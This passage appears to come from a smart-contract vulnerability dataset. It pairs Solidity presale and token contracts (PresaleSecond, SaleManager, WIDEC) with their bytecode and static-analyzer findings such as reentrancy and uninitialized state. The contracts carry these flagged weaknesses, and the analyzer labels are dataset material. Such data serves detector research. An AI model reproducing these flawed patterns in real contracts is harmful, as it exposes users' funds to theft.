689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009033600160a060020a0390811691161461054957600080fd5b60035474010000000000000000000000000000000000000000900460ff161561057157600080fd5b600154610584908363ffffffff610bce16565b600155600160a060020a0383166000908152602081905260409020546105b0908363ffffffff610bce16565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020610e8e8339815191528460405190815260200160405180910390a350600192915050565b600160a060020a03331660009081526020819052604081205482111561065d57600080fd5b5033600160a060020a0381166000908152602081905260409020546106829083610bdd565b600160a060020a0382166000908152602081905260409020556001546106ae908363ffffffff610bdd16565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a038216600080516020610e8e8339815191528460405190815260200160405180910390a35050565b60035460a860020a900460ff1681565b60035460009060a860020a900460ff161561074957600080fd5b61046c8383610bef565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461078c57600080fd5b60035474010000000000000000000000000000000000000000900460ff16156107b457600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60035433600160a060020a0390811691161461083657600080fd5b60035460a860020a900460ff161561084d57600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60408051908101604052600481527f4b52575400000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff161561090057600080fd5b61046c8383610ce9565b60035460009060a860020a900460ff161561092457600080fd5b61046c8383610de9565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461097457600080fd5b600160a060020a038116151561098957600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610a7757600080fd5b600160a060020a038416600090815260208190526040902054821115610a9c57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610acf57600080fd5b600160a060020a038416600090815260208190526040902054610af8908363ffffffff610bdd16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610b2d908363ffffffff610bce16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610b73908363ffffffff610bdd16565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610e8e8339815191529085905190815260200160405180910390a35060019392505050565b60008282018381101561046c57fe5b600082821115610be957fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c4c57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c83565b610c5c818463ffffffff610bdd16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610d0057600080fd5b600160a060020a033316600090815260208190526040902054821115610d2557600080fd5b600160a060020a033316600090815260208190526040902054610d4e908363ffffffff610bdd16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610d83908363ffffffff610bce16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a0316600080516020610e8e8339815191528460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610e21908363ffffffff610bce16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058207de70120eea22bd0bd8ca773f704ae4afa9f20c4b3c040657117bbfdccfeaf400029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
1,234
0xbbed731045a458fe7f5cc37d3581e69a722f6995
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } /** * @title Whitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * @dev This simplifies the implementation of "user permissions". */ contract Whitelist is Ownable, RBAC { event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); string public constant ROLE_WHITELISTED = "whitelist"; /** * @dev Throws if called by any account that's not whitelisted. */ modifier onlyWhitelisted() { checkRole(msg.sender, ROLE_WHITELISTED); _; } /** * @dev add an address to the whitelist * @param addr address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address addr) onlyOwner public { addRole(addr, ROLE_WHITELISTED); emit WhitelistedAddressAdded(addr); } /** * @dev getter to determine if address is in whitelist */ function whitelist(address addr) public view returns (bool) { return hasRole(addr, ROLE_WHITELISTED); } /** * @dev add addresses to the whitelist * @param addrs addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] addrs) onlyOwner public { for (uint256 i = 0; i < addrs.length; i++) { addAddressToWhitelist(addrs[i]); } } /** * @dev remove an address from the whitelist * @param addr address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address addr) onlyOwner public { removeRole(addr, ROLE_WHITELISTED); emit WhitelistedAddressRemoved(addr); } /** * @dev remove addresses from the whitelist * @param addrs addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] addrs) onlyOwner public { for (uint256 i = 0; i < addrs.length; i++) { removeAddressFromWhitelist(addrs[i]); } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract PresaleSecond is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; uint256 public maxcap; // sale hardcap uint256 public exceed; // indivisual hardcap uint256 public minimum; // indivisual softcap uint256 public rate; // exchange rate bool public paused = false; // is sale paused? bool public ignited = false; // is sale started? uint256 public weiRaised = 0; // check sale status address public wallet; // wallet for withdrawal address public distributor; // contract for release, refund Whitelist public List; // whitelist ERC20 public Token; // token constructor ( uint256 _maxcap, uint256 _exceed, uint256 _minimum, uint256 _rate, address _wallet, address _distributor, address _whitelist, address _token ) public { require(_wallet != address(0)); require(_whitelist != address(0)); require(_distributor != address(0)); require(_token != address(0)); maxcap = _maxcap; exceed = _exceed; minimum = _minimum; rate = _rate; wallet = _wallet; distributor = _distributor; Token = ERC20(_token); List = Whitelist(_whitelist); } /* fallback function */ function () external payable { collect(); } // address event Change(address _addr, string _name); function setWhitelist(address _whitelist) external onlyOwner { require(_whitelist != address(0)); List = Whitelist(_whitelist); emit Change(_whitelist, "whitelist"); } function setDistributor(address _distributor) external onlyOwner { require(_distributor != address(0)); distributor = _distributor; emit Change(_distributor, "distributor"); } function setWallet(address _wallet) external onlyOwner { require(_wallet != address(0)); wallet = _wallet; emit Change(_wallet, "wallet"); } // sale controller event Pause(); event Resume(); event Ignite(); event Extinguish(); function pause() external onlyOwner { paused = true; emit Pause(); } function resume() external onlyOwner { paused = false; emit Resume(); } function ignite() external onlyOwner { ignited = true; emit Ignite(); } function extinguish() external onlyOwner { ignited = false; emit Extinguish(); } // collect eth event Purchase(address indexed _buyer, uint256 _purchased, uint256 _refund, uint256 _tokens); mapping (address => uint256) public buyers; function collect() public payable { address buyer = msg.sender; uint256 amount = msg.value; require(ignited && !paused); require(List.whitelist(buyer)); require(buyer != address(0)); require(buyers[buyer].add(amount) >= minimum); require(buyers[buyer] < exceed); require(weiRaised < maxcap); uint256 purchase; uint256 refund; (purchase, refund) = getPurchaseAmount(buyer, amount); weiRaised = weiRaised.add(purchase); if(weiRaised >= maxcap) ignited = false; buyers[buyer] = buyers[buyer].add(purchase); emit Purchase(buyer, purchase, refund, purchase.mul(rate)); buyer.transfer(refund); } // util functions for collect function getPurchaseAmount(address _buyer, uint256 _amount) private view returns (uint256, uint256) { uint256 d1 = maxcap.sub(weiRaised); uint256 d2 = exceed.sub(buyers[_buyer]); uint256 d = (d1 > d2) ? d2 : d1; return (_amount > d) ? (d, _amount.sub(d)) : (_amount, 0); } // finalize bool public finalized = false; function finalize() external onlyOwner { require(!ignited && !finalized); withdrawEther(); withdrawToken(); finalized = true; } // release & release event Release(address indexed _to, uint256 _amount); event Refund(address indexed _to, uint256 _amount); function release(address _addr) external returns (bool) { require(!ignited && !finalized); require(msg.sender == distributor); // only for distributor require(_addr != address(0)); if(buyers[_addr] == 0) return false; uint256 releaseAmount = buyers[_addr].mul(rate); buyers[_addr] = 0; Token.safeTransfer(_addr, releaseAmount); emit Release(_addr, releaseAmount); return true; } // 어떤 모종의 이유로 환불 절차를 밟아야 하는 경우를 상정하여 만들어놓은 안전장치입니다. // This exists for safety when we have to run refund process by some reason. function refund(address _addr) external returns (bool) { require(!ignited && !finalized); require(msg.sender == distributor); // only for distributor require(_addr != address(0)); if(buyers[_addr] == 0) return false; uint256 refundAmount = buyers[_addr]; buyers[_addr] = 0; _addr.transfer(refundAmount); emit Refund(_addr, refundAmount); return true; } // withdraw event WithdrawToken(address indexed _from, uint256 _amount); event WithdrawEther(address indexed _from, uint256 _amount); function withdrawToken() public onlyOwner { require(!ignited); Token.safeTransfer(wallet, Token.balanceOf(address(this))); emit WithdrawToken(wallet, Token.balanceOf(address(this))); } function withdrawEther() public onlyOwner { require(!ignited); wallet.transfer(address(this).balance); emit WithdrawEther(wallet, address(this).balance); } } contract SaleManager is Ownable { PresaleSecond public Sale; constructor(address _sale) public { require(_sale != address(0)); Sale = PresaleSecond(_sale); } function setSaleAddress(address _addr) external onlyOwner { require(_addr != address(0)); Sale = PresaleSecond(_addr); } event Fail(address indexed _addr); function releaseMany(address[] _addrs) external onlyOwner { require(_addrs.length < 30); for(uint256 i = 0; i < _addrs.length; i++) if (!Sale.release(_addrs[i])) emit Fail(_addrs[i]); } function refundMany(address[] _addrs) external onlyOwner { require(_addrs.length < 30); for(uint256 i = 0; i < _addrs.length; i++) if (!Sale.refund(_addrs[i])) emit Fail(_addrs[i]); } }
0x608060405260043610610083576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063715018a6146100885780638da5cb5b1461009f578063b78f9de7146100f6578063cee829ea1461014d578063e52f64ce14610188578063f2fde38b146101c3578063f8fb491f14610206575b600080fd5b34801561009457600080fd5b5061009d610249565b005b3480156100ab57600080fd5b506100b461034b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561010257600080fd5b5061010b610370565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561015957600080fd5b50610186600480360381019080803590602001908201803590602001919091929391929390505050610396565b005b34801561019457600080fd5b506101c16004803603810190808035906020019082018035906020019190919293919293905050506105bd565b005b3480156101cf57600080fd5b50610204600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107e4565b005b34801561021257600080fd5b50610247600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610939565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102a457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103f357600080fd5b601e8383905010151561040557600080fd5b600090505b828290508110156105b857600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa89401a848484818110151561046157fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156104fc57600080fd5b505af1158015610510573d6000803e3d6000fd5b505050506040513d602081101561052657600080fd5b810190808051906020019092919050505015156105ab57828282818110151561054b57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f21d0324cd6cce67ffe52c8955137310671bcef292844385858e00841a18d60c060405160405180910390a25b808060010191505061040a565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561061a57600080fd5b601e8383905010151561062c57600080fd5b600090505b828290508110156107df57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166319165587848484818110151561068857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561072357600080fd5b505af1158015610737573d6000803e3d6000fd5b505050506040513d602081101561074d57600080fd5b810190808051906020019092919050505015156107d257828282818110151561077257fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f21d0324cd6cce67ffe52c8955137310671bcef292844385858e00841a18d60c060405160405180910390a25b8080600101915050610631565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561083f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561087b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156109d057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058209bf47d94cce1e23e6507a3a188131d788018418e068dba378ea520a2224a14b00029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,235
0x025d803c0e087e88aa7021984dcd87dc0a25be13
pragma solidity ^0.4.25; /** * @title widec Project */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract WIDEC is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "WIDEC"; string public constant symbol = "WiC"; uint public constant decimals = 8; uint public deadline = now + 37 * 1 days; uint public round2 = now + 32 * 1 days; uint public round1 = now + 22 * 1 days; uint256 public totalSupply = 10000000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 1000; // 0.001 Ether uint256 public tokensPerEth = 25000000e8; uint public target0drop = 1000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0xC66BE798fb6fccb44893307a44186B19e20437cf ; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 8400000000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether; uint256 bonusCond3 = 5 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 15 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 10 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 5000e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x60806040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610194578063095ea7b31461021e5780631003e2d21461025657806318160ddd1461026e57806323b872dd1461029557806329dcb0cf146102bf5780632e1a7d4d146102d4578063313ce567146102ec57806342966c6814610301578063532b581c1461031957806370a082311461032e57806374ff23241461034f5780637809231c14610364578063836e81801461038857806383afd6da1461039d578063853828b6146103b257806395d89b41146103c75780639b1cbccc146103dc5780639ea407be146103f1578063a9059cbb14610409578063aa6ca8081461018a578063b449c24d1461042d578063c108d5421461044e578063c489744b14610463578063cbdd69b51461048a578063dd62ed3e1461049f578063e58fc54c146104c6578063e6a092f5146104e7578063efca2eed146104fc578063f2fde38b14610511578063f3ccb40114610532575b610192610556565b005b3480156101a057600080fd5b506101a9610863565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e35781810151838201526020016101cb565b50505050905090810190601f1680156102105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022a57600080fd5b50610242600160a060020a036004351660243561089a565b604080519115158252519081900360200190f35b34801561026257600080fd5b50610192600435610942565b34801561027a57600080fd5b506102836109af565b60408051918252519081900360200190f35b3480156102a157600080fd5b50610242600160a060020a03600435811690602435166044356109b5565b3480156102cb57600080fd5b50610283610b28565b3480156102e057600080fd5b50610192600435610b2e565b3480156102f857600080fd5b50610283610b88565b34801561030d57600080fd5b50610192600435610b8d565b34801561032557600080fd5b50610283610c6c565b34801561033a57600080fd5b50610283600160a060020a0360043516610c72565b34801561035b57600080fd5b50610283610c8d565b34801561037057600080fd5b50610192600160a060020a0360043516602435610c98565b34801561039457600080fd5b50610283610cbd565b3480156103a957600080fd5b50610283610cc3565b3480156103be57600080fd5b50610192610cc9565b3480156103d357600080fd5b506101a9610d26565b3480156103e857600080fd5b50610242610d5d565b3480156103fd57600080fd5b50610192600435610de1565b34801561041557600080fd5b50610242600160a060020a0360043516602435610e33565b34801561043957600080fd5b50610242600160a060020a0360043516610f12565b34801561045a57600080fd5b50610242610f27565b34801561046f57600080fd5b50610283600160a060020a0360043581169060243516610f37565b34801561049657600080fd5b50610283610fe8565b3480156104ab57600080fd5b506102836